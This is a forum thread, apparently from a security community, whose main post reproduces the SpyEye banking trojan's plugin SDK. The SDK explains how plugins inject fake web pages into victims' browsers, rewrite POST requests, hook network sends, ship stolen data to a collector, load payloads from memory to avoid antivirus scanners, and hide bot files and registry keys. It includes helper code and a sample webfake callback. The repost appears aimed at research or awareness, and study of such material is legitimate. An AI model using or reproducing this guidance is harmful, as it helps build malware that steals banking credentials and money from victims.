Author Topic: Spying on SpyEye  (Read 11266 times)

0 Members and 1 Guest are viewing this topic.

May 24, 2011, 05:00:47 pm
Read 11266 times

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

August 06, 2011, 05:31:41 pm
Reply #1

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

August 10, 2011, 07:29:50 am
Reply #2

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

August 19, 2011, 12:09:36 pm
Reply #3

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
SpyEye Plugin's SDK

Code: [Select]
SpyEye Plugin's SDK

Introduction
API
Calling convention
Init
Start
Stop
TakeGateToCollector
TakeGateToCollector2
TakeBotGuid
TakeBotPath
TakeBotVersion
GetState
KeepAlive
IsGlobal
Callback_OnBeforeProcessUrl
Callback_OnBeforeLoadPage3
Callback_OnAfterLoadingPage
Callback_ChangePostRequest
FreeMem
TakeGetPage
TakeGetPage2
TakeFreeMem
Callback___WS2_32___send
TakeConfigCrc32Callback
TakeBotExeMd5Callback
TakePluginsListCallback
TakeMainCpGateOutputCallback
MainCpGateInput
TakeUpdateBotExe
TakeUpdateConfig
TakeStartExe
TakeGatePipeSendMsg
Shellcodes - low-level plugins
FAQ
q: How to implement webfakes?
q: Why do I need a customconnector plugin?
Introduction

The idea is that a functional bot should not be restricted by its author. In this regard, in SpyEye now are supported modules (plugin) by third-party developers.

I.e. a third-party developer has an opportunity to connect code to the troyan. In this case, the "container" of the code is a DLL.

The plugin consists of two files. That is, in fact, a DLL and its configuration. The name of the DLL file is the name of the plugin. Config file name is the name of the DLL file with the postfix .cfg (for example, if a plugin is called socks.dll, then the configuration of this plugin should be called socks.dll.cfg)

Plugin config - this is a text file, content of which is the argument of the function Init.

In total, there are 3 functions, that must be declared in a DLL export table. They are Init, Start and Stop. Start and Stop are needed to run de plugin from the main admin panel (see the corresponding menu - Plugins).

Plugins are divided into two types:

Local:
This type of plug-in is by default. In this case, the plugin code will be executed only in the main process of the bot (this is explorer.exe).

Global:
If you want the plugin code to be carried out not only in the main process of the bot, then we declare a function IsGlobal, which will return TRUE. In this case, the plugin code will be executed in all processes available for injecting. When launching the new process, the plugin will run it once at startup,after the entry point. The functions Start and Stop will be invoked on all plugin instances.

To run the plugins, SpyEye doesn't use the standard PE loader OS Windows, because the Win API does not provide functions to download an executable file from memory (forcing with this to store the DLL on disk and use ntdll!LdrLoadDll). Naturally, it does not suit us, as the signature-based AV-scanners will detect the plugin executable files. Therefore, SpyEye has its own PE loader, to run plugins code from memory, bypassing the dump to disk. I.i. crypting the DLL is not needed.

Plugins are stored in the bot config. It is convenient because there's no need to hitch a plugin in the bot executable file. Thus, we can reduce the file size of the bot, keeping the heavy plugin configuration. I.e. after starting on the holder's machine, with a tighten bot config and start from there the plugins.

API : Calling convention

The calling convention, used in the plugins functions, must be strictly cdecl.

API : Init

BOOL Init(char *szConfig)
szConfig null-terminated string, whos content is the plugin's config.
The function is called once a bot, in the context of a single process. Call occurs in a separate thread.

API : Start

BOOL Start()
Function call is initiated by a command from the gate of the main control panel. Call occurs in a separate thread.

API : Stop

BOOL Stop()
Function call is initiated by a command from the gate of the main control panel. As well as in the case of bot config update or the update of the bot itself. Call occurs in a separate thread, but serves to plugin uninstall when you upgrade the config or the executable code of the bot.

API : TakeGateToCollector

void TakeGateToCollector(void *lpGateFunc)
lpGateFunc
A pointer to a function with the following prototype:

typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize)
This feature can cause the plugin to pass the information to the collector.

Protocol is the following:

[Null-Terminated-String:NameOfTable]
[DWORD:CountOfFields]
--- field1 ---
[Null-Terminated-String:NameOfField]
[DWORD:SizeOfField]
[BYTE-Array:FiledData]
---
--- field2 ---
...
---
Function is executed before calling Init. Returns only one parameter - a pointer to the gate-function, sending the data through which is carried out in a separate thread.

Before sending data, you need to configure the collector in a certain way. Namely, in the tables folder you need to put an *.sql file with the create table script.

For example: table_test.sql

CREATE TABLE IF NOT EXISTS `test` (
  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `test` VARCHAR(40) NOT NULL,
  `date_rep` datetime NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 ;
In this case, if you call the gate-function with the following arguments:



The Collector then inserts the data into a table test. And, there will be a type record:

+----+-------+---------------------+
| id | test  | date_rep            |
+----+-------+---------------------+
| 1  | tada! | 2006-04-02 22:20:15 |
+----+-------+---------------------+
For the convenience of generating gate-function arguments, you can write some auxiliary code types

includes.h:

#include <windows.h>
 
// ---
 
#define InitializeListHead(ListHead) (\
    (ListHead)->Flink = (ListHead)->Blink = (ListHead))
 
#define IsListEmpty(ListHead) \
    ((ListHead)->Flink == (ListHead))
 
#define RemoveHeadList(ListHead) \
    (ListHead)->Flink;\
{RemoveEntryList((ListHead)->Flink)}
 
#define RemoveTailList(ListHead) \
    (ListHead)->Blink;\
{RemoveEntryList((ListHead)->Blink)}
 
#define RemoveEntryList(Entry) {\
    PLIST_ENTRY _EX_Blink;\
    PLIST_ENTRY _EX_Flink;\
    _EX_Flink = (Entry)->Flink;\
    _EX_Blink = (Entry)->Blink;\
    _EX_Blink->Flink = _EX_Flink;\
    _EX_Flink->Blink = _EX_Blink;\
}
 
#define InsertTailList(ListHead,Entry) {\
    PLIST_ENTRY _EX_Blink;\
    PLIST_ENTRY _EX_ListHead;\
    _EX_ListHead = (ListHead);\
    _EX_Blink = _EX_ListHead->Blink;\
    (Entry)->Flink = _EX_ListHead;\
    (Entry)->Blink = _EX_Blink;\
    _EX_Blink->Flink = (Entry);\
    _EX_ListHead->Blink = (Entry);\
}
 
#define InsertHeadList(ListHead,Entry) {\
    PLIST_ENTRY _EX_Flink;\
    PLIST_ENTRY _EX_ListHead;\
    _EX_ListHead = (ListHead);\
    _EX_Flink = _EX_ListHead->Flink;\
    (Entry)->Flink = _EX_Flink;\
    (Entry)->Blink = _EX_ListHead;\
    _EX_Flink->Blink = (Entry);\
    _EX_ListHead->Flink = (Entry);\
}
 
#define PopEntryList(ListHead) \
    (ListHead)->Next;\
{\
    PSINGLE_LIST_ENTRY FirstEntry;\
    FirstEntry = (ListHead)->Next;\
    if (FirstEntry != NULL) {     \
    (ListHead)->Next = FirstEntry->Next;\
    }                             \
}
 
#define PushEntryList(ListHead,Entry) \
    (Entry)->Next = (ListHead)->Next; \
    (ListHead)->Next = (Entry)
 
minisausage.h:

#pragma once
 
#include "includes.h"
 
class CMiniSausage
{
public:
        PLIST_ENTRY m_plMiniSausage;
      
        CMiniSausage()
        {
                m_plMiniSausage = NULL;
        }
        bool AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData);
        void FreeAll();
        bool GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize);
};
 
struct MiniSausage
{
        PCHAR szFieldName;
        DWORD dwFieldSize;
        PBYTE pbData;
        // ---
        LIST_ENTRY _p;
};
typedef MiniSausage *PMiniSausage;
extern PLIST_ENTRY m_plMiniSausage;
#define GetMiniSausageBuffer(ListEntryAddress) (PMiniSausage)((PBYTE)ListEntryAddress - (sizeof(MiniSausage) - sizeof(LIST_ENTRY)));
minisausage.cpp:

#include "includes.h"
 
#include "minisausage.h"
 
bool CMiniSausage::AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData)
{
        PMiniSausage msTmp                              =       NULL;
        DWORD dwFieldNameSize;
 
        do
        {
                msTmp = (PMiniSausage)malloc(sizeof(MiniSausage));
                if (!msTmp)
                        break;
                ZeroMemory(msTmp, sizeof(MiniSausage));
                dwFieldNameSize = (DWORD)strlen(szFieldName);
                if ( !(msTmp->szFieldName = (PCHAR)malloc(dwFieldNameSize + 1)) )
                        break;
                strcpy(msTmp->szFieldName, szFieldName);
                if ( !dwFieldSize || !(msTmp->pbData = (PBYTE)malloc(dwFieldSize)) )
                        break;
                msTmp->dwFieldSize = dwFieldSize;
                CopyMemory(msTmp->pbData, pbData, dwFieldSize);
                // ~~~
                if (!m_plMiniSausage)  {
                        m_plMiniSausage = &msTmp->_p;
                        InitializeListHead(m_plMiniSausage);
                }
                else {
                        InsertHeadList(m_plMiniSausage->Blink, &msTmp->_p);
                }
                return true;
        }
        while (FALSE);
 
        if (msTmp) {
                free(msTmp->szFieldName);
                free(msTmp->pbData);
        }
        free(msTmp);
        return false;
}
 
void CMiniSausage::FreeAll()
{
        if (!m_plMiniSausage)
                return;
        PMiniSausage pCurrent = NULL;
 
        for ( ; !IsListEmpty(m_plMiniSausage); free(pCurrent))
        {
                pCurrent = GetMiniSausageBuffer(m_plMiniSausage->Blink);
                free(pCurrent->szFieldName);
                free(pCurrent->pbData);
                RemoveTailList(m_plMiniSausage);
        }
        if (!pCurrent)
                return;
        pCurrent = GetMiniSausageBuffer(m_plMiniSausage);
        free(pCurrent->szFieldName);
        free(pCurrent->pbData);
        free(pCurrent);
}
 
bool CMiniSausage::GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize)
{
        PMiniSausage pCurrent;
        DWORD dwFieldsCount;
        // Counting size
        *pdwDataSize = 0;
        dwFieldsCount = 0;
        for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !*pdwDataSize; plTmp = plTmp->Flink, dwFieldsCount++ )
        {
                pCurrent = GetMiniSausageBuffer(plTmp);
                *pdwDataSize += strlen(pCurrent->szFieldName) + 1;
                *pdwDataSize += sizeof(pCurrent->dwFieldSize);
                *pdwDataSize += pCurrent->dwFieldSize;
        }
        *pdwDataSize += strlen(szTableName) + 1;
        *pdwDataSize += sizeof(dwFieldsCount);
        // Making buffer
        *lppbData = (PBYTE)malloc(*pdwDataSize);
        if (!*lppbData)
                return false;
        DWORD dwPointer = 0;
        for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !dwPointer; plTmp = plTmp->Flink )
        {
                pCurrent = GetMiniSausageBuffer(plTmp);
                if (!dwPointer)
                {
                        CopyMemory(*lppbData + dwPointer, szTableName, strlen(szTableName) + 1);
                        dwPointer += strlen(szTableName) + 1;
                        CopyMemory(*lppbData + dwPointer, &dwFieldsCount, sizeof(dwFieldsCount));
                        dwPointer += sizeof(dwFieldsCount);
                }
                CopyMemory(*lppbData + dwPointer, pCurrent->szFieldName, strlen(pCurrent->szFieldName) + 1);
                dwPointer += strlen(pCurrent->szFieldName) + 1;
                CopyMemory(*lppbData + dwPointer, &pCurrent->dwFieldSize, sizeof(pCurrent->dwFieldSize));
                dwPointer += sizeof(pCurrent->dwFieldSize);
                CopyMemory(*lppbData + dwPointer, pCurrent->pbData, pCurrent->dwFieldSize);
                dwPointer += pCurrent->dwFieldSize;
        }
        return true;
}
Example of use:

sausage_sample.cpp:

        CHAR szStr[] = { "tada!" };
        PBYTE pbData;
        DWORD dwBufferSize;
 
        CMiniSausage MiniSausage;
        MiniSausage.AddField("test", sizeof(szStr) - 1, (PBYTE)szStr);
        if (MiniSausage.GetBuff("test", &pbData, &dwBufferSize))
        {
                // Sending data here
        }
        MiniSausage.FreeAll();
API : TakeGateToCollector2

void TakeGateToCollector2(void *lpGateFunc2)
Analog functions TakeGateToCollector. The only difference is that the sending of data is in the current, rather than the additional flow.

API : TakeBotGuid

VOID TakeBotGuid(IN PCHAR szBotGuid)
szBotGuid
null-terminated string, representing a unique identifier for a bot.

* Maximum size - 80 characters

Function is executed before calling Init.

API : TakeBotPath

VOID TakeBotPath(IN PCHAR szBotPath)
szBotPath
null-terminated string, representing the path to the bot.

* Maximum size - 260 characters

Function is executed before calling Init.

API : TakeBotVersion

VOID TakeBotVersion(IN DWORD dwBotVersion)
dwBotVersion
A number that represents the version of the bot.

To get the current version of the bot in a legible form, convert this number to decimal form and put down the dividing point for every even level for this number. For example:

0x0000283B -> 10299 -> "v1.2.99"

Function is executed before calling Init.

API : GetState

DWORD GetState()
Return Value
The values of this number represent the state in which the plug-in is. Differ by only two states: OFF and ON. Respectively:

typedef enum {
        PLUGIN_OFF,     // Plugin "off". Function Start() not called
        PLUGIN_ON       // Plugin "on". Function Start() to be called
} PLUGINState;
This feature can be used to prevent the plugin callback functions Start and Stop. For example, if is called the Start function from the function Init (if the plugin is autorun), the plugin can return the state PLUGIN_ON, to prevent the call of Start function, even if the command will come out of the control panel.

API : KeepAlive

BOOL KeepAlive()
Return Value
Flag for the unload ability of the plugin executable code from the address space of its process.

If the plugin returns TRUE when calling this function, SpyEye will not reload the executable from the current process for config update or bot executable code.

API : IsGlobal

BOOL IsGlobal()
Return Value
A flag that determines whether to execute the plugin code in all processes available for injecting.

API : Callback_OnBeforeProcessUrl

VOID Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)
szUrl
URL

szVerb
Type of request (GET or POST)

szHeaders
HTTP-request header

szPostVars
If the query type = POST, it contains szPostVars POST-parameter requests

lpdwProcessMode
Pointer to a DWORD-variable, defining the callback, is called to the current resource.

Accepted values:

typedef enum {
        DO_NOTHING,                     // Do nothing
        PROCESS_BEFORELOADPAGE,         // Invoke the callback Callback_OnBeforeLoadPage3 for the current resource
        PROCESS_AFTERLOADINGPAGE       // Invoke the callback Callback_OnAfterLoadingPage for the current resource
} PROCESSMode;
API : Callback_OnBeforeLoadPage3

VOID Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR *lpszContent, OUT PDWORD lpdwSize)
szUrl
URL

szVerb
Query type (GET or POST)

szHeaders
HTTP-header request

szPostVars
If the query type = POST, it contains szPostVars POST-parameter request

lpszContent
Pointer to a null-terminated string, which contains webserver's fake response (with the HTTP-header).

lpdwSize
Pointer to a DWORD, which stores the string size, stored at lpszContent address.

* Plugin own memory manager must allocate memory and assign its address to a pointer lpszContent. Consequently, plugin must provide an address at a function to release memory at this address. Because with it, to avoid memory leaks, plug-in should determine the function FreeMem.

API : Callback_OnAfterLoadingPage

VOID Callback_OnAfterLoadingPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)
szUrl
URL

szVerb
Query type (GET or POST)

szHeaders
HTTP-header request

szPageContent
Pages content (without HTTP-header)

szOut
Pointer to a null-terminated string, where the plugin can return page fake content (without HTTP-header)

lpdwSize
Pointer to a DWORD, which stores the size of szPageContent

* By using this callback, should imperatively declared the FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)

* These pages are transferred to the callback AFTER applying the webinjects (if any were specified in the rules file webinjects.txt)

API : Callback_ChangePostRequest

VOID Callback_ChangePostRequest(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szInPostVars, IN DWORD dwInPostVarsSize, OUT PCHAR * szOutPostVars, OUT PDWORD lpdwOutPostVarsSize)
szUrl
URL

szVerb
Query type (GET or POST)

szInPostVars
null-terminated string, which contains the settings for the current POST-request

dwInPostVarsSize
DWORD, which stores the size of szInPostVars

szOutPostVars
Pointer to a null-terminated string, where the plugin can return the fake parameters of the POST-request

lpdwOutPostVarsSize
Pointer to a DWORD, which stores the size of szOutPostVars

* If you use this callback, it is strongly recommended to declare a FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)

API : FreeMem

VOID FreeMem(IN LPVOID lpMem)
lpMem
Pointer to the dynamic memory, in which stands the plugin.

API : TakeGetPage

VOID TakeGetPage(IN LPVOID lpGetPageFunc)
lpGetPageFunc
A pointer to a function with the following prototype:

typedef BOOL (*GETPAGE)(IN PCHAR szURLPage, OUT PBYTE *lppbData, OUT PDWORD lpdwSize, IN PCHAR szHeaders)
This function deals with downloading resources on the protocol HTTP/HTTPS. Has the following parameters:

szURLPage
URL downloadable resource

lppbData
Pointer to a PBYTE, pointing to the downloaded content of the resource

lpdwSize
Pointer to a DWORD, which contains the lppbData size

szHeaders
null-terminated string to send the request-headers, when downloading szURLPage.
Attention! If this parameter is not NULL, it will be place in lppbData and Response Headers

Return Value
Accordingly, the function returns TRUE on success and FALSE on failure

* Pointer values lppbData & lpdwSize are equal to NULL prior to any action.

Function is executed before calling Init.

If the plugin uses lpGetPageFunc, in order to avoid memory leaks, the plugin will need to remove the allocated memory by lppbData pointer. To obtain the address of a function, dealing with memory release, need to declare the TakeFreeMem callback.

API : TakeGetPage2

VOID TakeGetPage2(IN LPVOID lpGetPage2Func)
lpGetPage2Func
A pointer to a function with the following prototype:

BOOL GetPage2(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szRequestHeaders, IN BOOL bReadResponseHeaders, IN LPVOID lpOptional, DWORD dwOptionalLength, OUT PBYTE *pbData, OUT PDWORD dwSize)
This feature is an enhanced version of the GetPage() function. Has the following parameters:

szUrl
URL downloadable resource

szVerb
HTTP-request method ("GET" or "POST")

szRequestHeaders
null-terminated string to send the request-headers, and download szUrl

bReadResponseHeaders
A flag, that determines whether to place the Response-headers in pbData

lpOptional
POST request data (if in szVerb is specified "POST")

dwOptionalLength
lpOptional size

lppbData
Pointer to a PBYTE, pointing to the downloaded content of the resource

lpdwSize
Pointer to a DWORD, which contains the lppbData size

Function is executed before calling Init.

API : TakeFreeMem

VOID FreeMem(IN LPVOID lpFreeMemFunc)
lpFreeMemFunc
A pointer to a function with the following prototype:

typedef VOID (*FREE)(IN LPVOID lpMem)
The function frees the dynamic memory by lpFreeMemFunc pointer. Used in the SpyEye memory manager.

Function is executed before calling Init.

API : Callback___WS2_32___send

BOOL Callback___WS2_32___send(IN LPVOID lpOriginalFunction, IN SOCKET s, IN const char *buf, IN int size, IN int flags, OUT LPVOID lpReturn)
lpOriginalFunction
Function ws2_32!send pointer

s, buf, size, flags
Function ws2_32!send arguments

lpReturn
The result of ws2_32!send

Return Value
Only if TRUE, the result of the original ws2_32!send will be substituted for *lpReturn

Such a callback is needed for plugin to have the opportunity to receive input and to change output parameters of the ws2_32!send function. Actually, this follows from its name.

Thise callback was created to avoid the conflicts if the plugin wants to splice the ws2_32!send function.

API : TakeConfigCrc32Callback

VOID TakeConfigCrc32Callback(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETCONFIGCRC32)(OUT PDWORD pdwCrc32)
This function can be used to determine the current plugin CRC32 (identificator) of the bot config file config.bin. Has the following parameters:

pdwCrc32
Pointer to a DWORD, in which is written the config CRC32

Function is executed before calling Init.

API : TakeBotExeMd5Callback

VOID TakeBotExeMd5Callback(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETBOTEXEMD5)(OUT PCHAR szMd5);
This function can be used to determine the plugin MD5 (identificator) of the principal bot executable file. Has the following parameters:

szMd5
A pointer to a null-terminated string, where is written the bot exe MD5.
The string must be at least 33 bytes

Function is executed before calling Init.

API : TakePluginsListCallback

VOID TakePluginsListCallback(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETPLUGINSLIST)(OPTIONAL OUT PCHAR szPluginsList, IN OUT PDWORD pdwSize, OPTIONAL OUT PBOOL pblPluginsStat, IN OUT PDWORD pdwSizeStat);
This feature can be used by plugin for information about plugins and their status. Has the following parameters:

szPluginsList
Pointer to a null-terminated string, in which is written info about the plugin name in your config.
The size of the string can be defined specifying NULL for this parameter. In this case, the size of the resulting string is written in the pdwSize parameter (taking into account the terminating null-character)

pdwSize
Pointer to a DWORD, which determines the size of the szPluginsList parameter

pblPluginsStat
Pointer to a BOOL-array, in which is written the plugin status (FALSE - plugin is disabled; TRUE - plugin is included).
Size is defined by analogy with szPluginsList

pdwSizeStat
Pointer to a DWORD, which determines the size of the pblPluginsStat parameter

Return Value
FALSE is returned only if the szPluginsList or pblPluginsStat could not put the info. GetLastError() in this case returns ERROR_MORE_DATA

Function is executed before calling Init.

API : TakeMainCpGateOutputCallback

VOID TakeMainCpGateOutputCallback(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef VOID (__cdecl *MAINCPGATEOUTPUT)(IN PBYTE pbData, IN DWORD dwSize);
The plugin calls this function to transmit to bot info from the main control panel. In addition, the plugin can generate the input parameters to control the bot. The function has the following parameters:

pbData
Pointer to a null-terminated string (because the bot communication protocol from the main control panel - text), which contains certain commands.
A list of commands, as well as a description of the protocol, see the relevant FAQ section

dwSize
pbData size

Function is executed before calling Init.

API : MainCpGateInput

This function is similar to that used in the TakeMainCpGateOutputCallback callback. Unlike in the appointment. Bot calls it when it wants to transmit info to the main control panel

API : TakeUpdateBotExe

VOID TakeUpdateBotExe(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *UPDATEBOTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN BOOL bReplaceBotExe, IN DWORD dwTaskId);
This function can be used by plugins to update the bot exe. Has the following parameters:

pbData
Pointer to the bot exe data (data should be PE-format).

dwSize
pbData size, in bytes.

bUseBuildinPeLoader
If TRUE, the bot will runfrom memory (through PE-loader), without dump to disk, using kernel32!CreateProcess().

bReplaceBotExe
If TRUE, the bot will replace its own exe, without running it. If FALSE and bUseBuildinPeLoader = FALSE, the exe's are dumped in the temp-dir, and then are run through kernel32!CreateProcess().

* Note. When using PE-loader, the exe's entry point should be strictly a prototype:
typedef VOID (__stdcall *EMPTYENTRYPOINT)();
dwTaskId
Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeUpdateConfig

VOID TakeUpdateConfig(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *UPDATECONFIG)(IN PBYTE pbData, IN DWORD dwSize, IN DWORD dwTaskId);
This function can be used by plugins to update the bot config.bin. Has the following parameters:

pbData
Pointer to the bot config.bin data.

dwSize
pbData size, in bytes.

dwTaskId
Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeStartExe

VOID TakeStartExe(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef BOOL (__cdecl *STARTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN DWORD dwTaskId);
This function can be used by the plugin to run a third-party exe. Has the following options:

pbData
Pointer to the bot exe data (data should be PE-format).

dwSize
pbData size, in bytes.

bUseBuildinPeLoader
If TRUE, the exe will run from memory (through PE-loader), without dump to disk, using kernel32!CreateProcess().

* Note. When using PE-loader, the exe's entry point should be strictly a prototype:
typedef VOID (__stdcall *EMPTYENTRYPOINT)();
dwTaskId
Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeGatePipeSendMsg

VOID TakeGatePipeSendMsg(IN LPVOID lpFunc)
lpFunc
A pointer to a function with the following prototype:

typedef VOID (__cdecl *GATEPAGESENDMSG)(IN BOOL isOutput, IN PCHAR szMessage);
This feature can be used to control plugins such as customconnector. With its help you can control, and any other plug-ins, keeping the internal bot protocol described in the customconnector section. Has the following options:

isOutput
If TRUE, the bot will call the MainCpGateOutput() callback in the main process.

If FALSE, the bot will call the MainCpGateInput() callback in the main process.

szMessage
Message, sent in one or another callback (defined by the argument isOutput).

Shellcodes - low-level plugins

These plugins are required during installation of the bot into the system. In v1.3 there are only two such plugins.

ConfigShellcode
Used to generate low-level config (used for such things as defining the folder where you installed the bot, the bot definition file name, etc.).

InstallShellcode
Properly, installs a bot into the system (that is involved in the transfer of bot executable out of place, where it was first launched in place, a certain result of ConfigShellcode).

These shellcodes are in the bot exe resources. Scheme:



Shellcode, as the container code, was not selected randomly. Its size is minimal (no PE-header, there is no section, imports table) and it just implements (no need to configure any relocation or imports table).

Thus, there is a low-level bot config. Part of it is given in the builder, in part is formed by ConfigShellcode. Config structure is the following:

#pragma pack(push, 1)
 
struct TDropperConfig
{
    BYTE btReserved[4];
    // Paths, files
    CHAR szStartupExePath           [MAX_PATH];
    CHAR szInstallDir               [MAX_PATH];
    CHAR szBotFileName              [0x10];     // !add extension here
    CHAR szConfigFileName           [0x10];
    CHAR szBotUpdateFileName        [0x10];
    CHAR szTempDir                  [MAX_PATH];
    CHAR szLoaderExePrefix          [0x10];
    // Guid
    CHAR szBotGuid                  [0x40];
    // Mutex
    CHAR szBotMutex                 [0x20];
    CHAR szUninstallMutex           [0x20];
    CHAR szReloadConfigMutex        [0x20];
    CHAR szReportAlreadySendedMutex [0x20];
    // Enviroment variables
    CHAR szConfigEncryptKeyVarName  [0x10];
    // Rootkit options
    CHAR szFilesToHide              [0x50];
    BYTE btFilesToHidePointers      [0x10];
    CHAR szRegKeysToHide            [0x50];
    BYTE btRegKeysToHidePointers    [0x10];
};
 
#pragma pack(pop)
 
btReserved
Always takes the value 0x45594521 ("!EYE"). Needed for shellcode to identify in which page is the config.

szStartupExePath
Path, where was ran a bot exe. Dynamic parameter. Every time filled by the bot.

szInstallDir
Folder, where you want to drop the bot exe.

szBotFileName
The name of the bot executable file. Set by the builder. Shellcode merely adds a file extension.

szConfigFileName
Name of the main bot config. Shellcode always sets it to "config.bin"

szBotUpdateFileName
Name of the exe-file, to which the bot drops its exe at update

szTempDir
Actually, temp-dir, where are dropped the executable files, that run later than the standard Windows PE-loader

szLoaderExePrefix
Exe prefix, that is used in bot loader.

szBotGuid
Actually, bot identificator. Formed from such things as: OS version, PC name, serial number of the logical system drive.

szBotMutex
Mutex name, which is used to identify the bot in the system

szUninstallMutex
Mutex name, which is used for removal of the bot from the system

szReloadConfigMutex
Mutex name, which is used to update the config in all processes where the bot was injected

szReportAlreadySendedMutex
Mutex name, which is used as an indication that a report on system info have already gone to the collector

szConfigEncryptKeyVarName
The name of the environment variable in the main process of the bot, whose value is the decryption key of the bot config

szFilesToHide array
Array, which stores the names of files and folders, which will be hidden by the bot. Separator between the names - end of line symbol. End of the array is determined based on the values of the btFilesToHidePointers array

btFilesToHidePointers
Array, which stores the offset of szFilesToHide array, defining the beginning of the line. If the value of a key of that array is 0, then the files to hide are no longer available

szRegKeysToHide
List of registry keys to hide. Analog to szFilesToHide

btRegKeysToHidePointers
Analog to szRegKeysToHide

So, how is installed a bot?

Type structure TDropperConfig is transferred first to the ConfigShelcode
After the end of the shellcode, the bot introduces InstallShelcode in the main process (or any other process, that is available for injection) and transfers to the low-level config, which was formed in the first point
InstallShelcode copies the bot where you want and start the bot
The bot restarts the ConfigShelcode, but now, after comparing the szInstallDir from the confing to the current dir, it realizes that it has already been installed in the system and injects itself into all the available processes
How the low-level plugins can be used? Well, for example:

Privilege escalation exploits implementation in the bot
Change the way you install the bot in a system
Implementation of code for bot additional knocks in some statuses (for example, you can add the code to the section where is the InstallShellcode shellcode)
FAQ : How to implement webfakes?

Enough to use 3 callbacks:

Callback_OnBeforeProcessUrl
Callback_OnBeforeLoadPage3
FreeMem
In the first one - the plugin defines - whether to return the content of the fake for this resource or not.
In the second one - the plugin returns the content of the fake.
In the third one - the plugin releases the allocated memory which was used to store the content of the fake.

Here's an example that demonstrates the substitution of a picture:

 
// HTTP/1.1 200 OK
// Server: nginx
// Date: Wed, 10 Nov 2010 19:22:35 GMT
// Content-Type: image/jpeg
// Last-Modified: Wed, 10 Nov 2010 18:58:13 GMT
// Expires: Fri, 10 Dec 2010 19:22:35 GMT
// Cache-Control: max-age=2592000, public
// Accept-Ranges: bytes
// Connection: close
// Content-Length: 6445
//
// ...
 
unsigned char data[6736] = {
        0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, 0x20, 0x32, 0x30, 0x30, 0x20, 0x4F, 0x4B, 0x0D,
        0x0A, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x3A, 0x20, 0x6E, 0x67, 0x69, 0x6E, 0x78, 0x0D, 0x0A,
        0x44, 0x61, 0x74, 0x65, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F,
        0x76, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x31, 0x39, 0x3A, 0x32, 0x32, 0x3A, 0x33, 0x35, 0x20,
        0x47, 0x4D, 0x54, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70,
        0x65, 0x3A, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x6A, 0x70, 0x65, 0x67, 0x0D, 0x0A, 0x43,
        0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3A, 0x20, 0x36,
        0x34, 0x34, 0x35, 0x0D, 0x0A, 0x4C, 0x61, 0x73, 0x74, 0x2D, 0x4D, 0x6F, 0x64, 0x69, 0x66, 0x69,
        0x65, 0x64, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F, 0x76, 0x20,
        // ...
};
 
DLLEXPORT void Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)
{
        if (!szUrl)
                return;
        DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
        if (strstr(szUrl, "CallbackOnBeforeLoadPage3"))
                *lpdwProcessMode = 1;
}
 
